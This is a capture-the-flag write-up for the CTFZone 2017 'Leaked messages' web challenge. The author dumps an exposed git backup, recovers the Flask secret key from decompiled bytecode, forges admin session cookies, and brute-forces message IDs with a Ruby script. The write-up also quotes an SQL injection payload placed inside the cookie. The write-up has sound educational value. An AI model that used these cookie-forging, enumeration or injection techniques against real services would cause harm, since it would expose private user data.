CTFZone 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : CTFZone 2017
  • Website : ctf.bi.zone
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

Leaked messages - Web#

One of our candidates used to send restricted data to colleagues via this service because it's free and easy to use. Try to get some secrets which can compromise them. 82.202.204.104

I launched dirb and I found there was a /backup/ folder which seems to be a /.git/ folder.

Update: Such a folder can be created with this git command: git init --separate-git-dir backup/.

So I wanted to use GitTools to dump it.

Bit I got this error from the tool [-] /.git/ missing in url. So I patched the tool by removing those lines from gitdumper.sh:

Update: It was also possible to use dvcs-ripper that doesn't need to be patched. Now GitTools was patched and has a new --git-dir= option.

if [[ ! "$BASEURL" =~ /.git/$ ]]; then
    echo -e "\e[31m[-] /.git/ missing in url\e[0m";
    exit 0;
fi

Then I dumped it:

$ ~/CTF/tools/GitTools/Dumper/gitdumper.sh http://82.202.204.104/backup/ repo
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating repo/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/9f/848cceeba31da2cbd2c8ecaebb8a8dab17eee4
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/bd/55b19e5413ce609d3bc4429c3a6f272341988a
[+] Downloaded: objects/8b/1084b23d869e5dc1ae4ac845589ecfb896c0c3
[+] Downloaded: objects/23/f40a1925a77ab85bb275aa7cdd651cf2d6ab1e
[+] Downloaded: objects/46/a91687724b0c347c868f8220d532c621beea68
[+] Downloaded: objects/33/7588e8c7542e290b175c231d75e64121fc23d6
[+] Downloaded: objects/d6/f716131c6d42d868042f307f8501519b93712d
[+] Downloaded: objects/26/ca75d51a07a091a65aebcce729d7549c7b9f41
[+] Downloaded: objects/d7/5b906f19298cc89109421dc78a051e4bafafe5
[+] Downloaded: objects/9d/1c385e4a0b65ed621236c5ec14f08f6098b0dd
[+] Downloaded: objects/db/f56b03af34a746b5643812aa6ffb01048b231c
[+] Downloaded: objects/14/26e2a436590569ecf3cdf4693ce4c3538b6633
[+] Downloaded: objects/f1/d9988ac4c313ab9192f447163035cb9b5dedc7
[+] Downloaded: objects/6e/9ff65408df0c8efe412231490164b32370d016
[+] Downloaded: objects/cd/cf6a0e75f39eb4fb8015dea67aec89eac731d7
[+] Downloaded: objects/5f/34a7e4dacd3f028864733b677a129cd9a861c5
[+] Downloaded: objects/78/bffa3029e4d45785b27044cd6d040ddc6ec4ce
[+] Downloaded: objects/d4/554984dd5cf7621141cc31e363d7c5d5f18290
[+] Downloaded: objects/94/c10d57888aae09bf3fb63b38abe233a6648f6b
[+] Downloaded: objects/23/c01c11f555e48c24a387e260d801256530e726
[+] Downloaded: objects/ed/3905e0e0c91d4ed7d8aa14412dffeb038745ff
[+] Downloaded: objects/bd/e760cf613b595f7c73df854a4b9cfb02f32bac
[+] Downloaded: objects/f7/e276bb15f9bb882abc8ee8a8b48ba27da366ef
[+] Downloaded: objects/7a/6b8132070f7eb68f8fc891ec839947a0d335c4
[+] Downloaded: objects/9b/cd2fccaed9442f1460191d6670ca5e8e08520c

I checked the last commit:

$ git --no-pager log -p -1                                                                                                                                                                             [±master ✓]
commit 9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4 (HEAD -> master)
Author: Alexey Kuznetsov <akz@bi.zone>
Date:   Fri Jul 14 20:41:02 2017 +0300

    minor changes

diff --git a/static/flag.txt b/static/flag.txt
deleted file mode 100644
index 23c01c1..0000000
--- a/static/flag.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Flag is here! Just take it!
-MN2GM6TPNZSXW63IOR2HA4Z2F4XXS33VOR2WEZJOMNXW2L3XMF2GG2B7OY6UOMKJMJJHK2TLN4WUC7L5

It seems that flag.txt was removed but we have the content just here.

It's a base32 string:

$ printf %s 'MN2GM6TPNZSXW63IOR2HA4Z2F4XXS33VOR2WEZJOMNXW2L3XMF2GG2B7OY6UOMKJMJJHK2TLN4WUC7L5' | base32 -d
ctfzone{{https://youtube.com/watch?v=G1IbRujko-A}}

But this is a Troll, a fake flag. This CTF sounds like Troll and guessing... (/backup/ instead of /.git/, base32 string, then fake flag).

Ok let's continue and extract all commits still with GitTools.

$ ~/CTF/tools/GitTools/Extractor/extractor.sh repo extractedrepo
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 8b1084b23d869e5dc1ae4ac845589ecfb896c0c3
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/bootstrap.min.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/login.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/main.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/material-input.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/flag.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/js
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/js/bootstrap.min.js
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/register.html
[+] Found commit: 9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/bootstrap.min.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/login.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/main.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/material-input.css
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/js
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/js/bootstrap.min.js
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/register.html
[+] Found commit: bd55b19e5413ce609d3bc4429c3a6f272341988a
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/config.pyc
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/register.html

Now let's take a look at 2-bd55b19e5413ce609d3bc4429c3a6f272341988a/config.pyc.

Then I installed uncompyle6 to uncompile the config python file.

$ uncompyle6 config.pyc
# uncompyle6 version 2.11.2
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.1 (default, Mar 27 2017, 00:27:06)
# [GCC 6.3.1 20170306]
# Embedded file name: config.py
# Compiled at: 2017-07-14 19:28:42
# Size of source mod 2**32: 288 bytes


class BaseConfig(object):
    DEBUG = False
    SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
    DB_NAME = 'messages.db'
    RECAPTCHA_ENABLED = True
    RECAPTCHA_THEME = 'dark'
    RECAPTCHA_TYPE = 'image'
    RECAPTCHA_SIZE = 'normal'
    RECAPTCHA_RTABINDEX = 10
# okay decompiling config.pyc

Previously I so that this is a Flask webapp:

$ cat requirements.txt
flask
flask_recaptcha

The Flask SECRET_KEY is generated in order to manage sessions, here it will sign cookies.

Flask cookies look like JWT (JSON Web Tokens) but that's not the same structure. JWT are header.data.signature, flask cookies are data.nonce.signature.

It seems it's our way to modify the session cookie, cookie will be invalid if we only modify it without having a valid signature (which requires the SECRET_KEY). But decoding flask cookie only require to base64 decode the first part.

So the I used flask-session-cookie-manager to decode the cookie and re-encode it.

$ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOiIzMjY0MTAwMzE2NjYiLCJ1c2VybmFtZSI6Im5vcmFqIn0.DE0nVQ.bRk4qqnx3sRxI9shmhEY59GdJIY'
{"number":"326410031666","username":"noraj"}

$ python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

Then I used BurpSuite to temper my request and modify the cookie header, just to test the range of number id:

Here the last message for you, 326410000000

A man who would letterspace lower case would steal sheep, Frederic Goudy liked to say. If this wisdom needs updating, it is chiefly to say that a woman who would letterspace lower case would steal sheep as well.
Here the last message for you, 326410000001

To be truly great, we have to understand the motivation of our clients, maintain constant two-way communication with shockingly uncreative people, get a firm handle on copywriting and how that craft exists symbiotically with the visual element, and foresee how the finished whole will be greater than the sum of the bits and pieces we spent hours obsessing over. All of these factors cascade into the final product.
Here the last message for you, 326410001337

My secret is being not terrible at a lot of things.
Here the last message for you, 326410000042

For me, design is like choosing what I&#8217;m going to wear for the day &#8211; only much more complicated and not really the same at all.
Here the last message for you, 326410009999

Learn from the mistakes of others. You can&#8217;t live long enough to make them all yourself.
Here the last message for you, 326410019999

Styles come and go. Good design is a language, not a style.
Here the last message for you, 326410029999

I am always driven by the terror of humiliation.
Here the last message for you, 326410030199

There are no bad ideas, just bad decisions.
Here the last message for you, 326410030239

Most [clients] expect experience design to be a discrete activity, solving all their problems with a single functional specification or a single research study. It must be an ongoing effort, a process of continually learning about users, responding to their behaviors, and evolving the product or service.
Here the last message for you, 326410031505

You have no messages yet

After some tests I figured that the range were like the following:

  • 326410000000 to 326410030239 : CTF story message
  • 326410030240 to 326410031505 : no user (You have no messages yet)
  • 326410031506 to 326410031666+ : CTF player message (Hello! Your number is 326410031XXX. Have a nice conversation.)

The flag is in a CTF story message.

So I wrote a ruby script to dump all messages into a messages folder:

require 'net/http'
# uri is already require by net/http

uri = URI('http://82.202.204.104/messages')

req = Net::HTTP::Get.new(uri)

(326410000000..326410030239).each do |i|
    cmd = `python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"#{i}","username":"admin"}'`
    cookie = cmd.chomp!
    req['Cookie'] = "session=#{cookie}"

    res = Net::HTTP.start(uri.hostname, uri.port) {|http|
      http.request(req)
    }

    message = res.body.match(/<span class="message">(.*)<\/span>/m).captures[0]

    File.open("messages/#{i}.txt", 'w') {|f| f.write(message) }
end

Then I used classic grep skills.

$ grep -r -i ctfzone messages
$ grep -r -i flag messages
$ grep -r -i http messages
messages/326410011111.txt:It&#39;s so cool! https://postimg.org/image/41t4h680r/

There is a link with a picture.

Flag was ctfzone{b1d4207ff1965105af775cfa71d8214d}.

There was another solution found by hotab from dcua. Instead of dumping every message like me it was possible to do an SQL injection into the cookie {"number":"#{payload}","username":"admin"} where #{payload} is ' union SELECT GROUP_CONCAT(message,'\n') FROM messages GROUP BY '1. That was listing you all message in one page. This was quicker.

Share